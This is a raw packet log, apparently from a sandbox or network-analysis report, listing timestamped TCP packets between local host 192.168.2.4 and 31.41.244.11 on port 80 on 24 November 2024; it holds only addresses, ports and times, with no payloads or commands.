Nov 24, 2024 12:24:13.552840948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.552887917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.552937031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.553767920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.554096937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.554157019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.554595947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.554714918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.554769993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.555536032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.555598021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.555984974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.556452990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.556512117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.556672096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.557365894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.557415962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.557465076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.557512999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.558315992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.558383942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.558418036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.558470011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.559189081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.559235096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.559355974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.559405088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.560162067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.560234070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.560283899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.560331106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.561047077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.561094999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.561146021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.561187029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.561981916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.562027931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.562104940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.562154055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.562993050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.563128948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.563179970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.563788891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.563916922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.563966036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.564701080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.564819098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.564867973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.565790892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.565835953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.565948009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.566416025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.566587925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.566631079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.566700935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.566746950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.567434072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.567478895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.725114107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.725203991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.725270987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.725398064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.725572109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.725630045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.725682020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.725732088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.726504087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.726588964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.726613998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.726670027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.727478981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.727531910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.727581024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.727629900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.728270054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.728313923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.728321075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.728362083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.729190111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.729243040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.729295015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.729346037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.730109930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.730164051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.730212927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.730263948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.731004953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.731056929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.731115103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.731168985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.731982946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.732034922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.732136965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.732191086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.732858896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.732927084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.733062029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.733113050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.733778954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.733831882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.733876944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.733927011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.734689951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.734735966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.734822035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.734867096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.735615969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.735668898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.735775948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.735821009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.736525059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.736627102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.736639977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.736690044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.737442017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.737493992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.737664938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.737723112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.738357067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.738419056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.738461971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.738516092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.739254951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.739305973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.739373922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.739424944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.740175009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.740235090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.740309954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.740359068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.741106987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.741158962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.741209984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.741261959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.742130041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.742182016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.742228031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.742290020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.742921114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.742971897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.743026972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.743078947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.743853092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.743906975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.743949890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.744000912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.744781971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.744836092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.744930983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.744982958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.745707035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.745758057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.745807886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.745857000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.746633053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.746716022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.746813059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.746864080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.747754097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.747803926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.747855902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.747905970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.748408079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.748461962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.748513937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.748567104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.749317884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.749372005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.749496937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.749550104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.750251055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.750315905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.750322104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.750369072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.751152992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.751203060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.751252890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.751302958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.752109051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.752162933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.752212048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.752262115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.753062963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.753118992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.753164053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.753212929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.753921986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.753977060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.754029989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.754080057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.754851103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.754903078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.754956961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.755008936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.755732059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.755779028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.755830050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.755883932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.756671906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.756748915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.756841898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.756892920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.757785082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.757869959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.757874966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.757927895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.758485079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.758538008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.758589029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.758646011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.759407997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.759460926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.759517908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.759569883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.760315895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.760365963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.760416031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.760466099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.761235952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.761286974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.761337996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.761389971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.762156963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.762211084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.762264013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.762310982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.763078928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.763132095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.763262033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.763310909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.764008045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.764060020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.764079094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.764131069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.764969110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.765021086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.765127897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.765177965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.765827894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.765880108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.765933037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.765983105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.766817093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.766896009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.766911030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.766963959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.767752886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.767796993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.767848015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.767900944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.768583059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.768636942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.768687010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.768738031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.769498110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.769542933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.769632101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.769680977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.770394087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.770447969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.770509005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.770559072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.771322966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.771374941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.771423101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.771472931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.772279978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.772332907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.772363901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.772418976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.773123980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.773175001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.931436062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.931499004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.931636095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.931849957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.931982994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.932060003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.932714939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.932770014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.932785034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.932835102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.933607101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.933657885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.933754921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.933803082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.934617996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.934694052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.934777021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.934834003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.935658932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.935704947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.935774088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.935823917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.936348915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.936398983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.936441898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.936491966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.937262058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.937313080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.937355995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.937442064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.938221931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.938272953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.938297987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.938349009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.939095020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.939146996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.939196110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.939261913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.940076113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.940128088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.940146923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.940196991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.940916061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.940967083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.941015959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.941067934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.941843033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.941896915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.941926003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.941977024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.942770958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.942823887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.942876101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.942941904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.943701982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.943758965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.943816900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.943867922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.944598913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.944752932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.944816113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.945532084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.945651054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.945703030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.946438074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.946547985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.946609974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.947339058 CET	80	49765	31.41.244.11	192.168.2.4
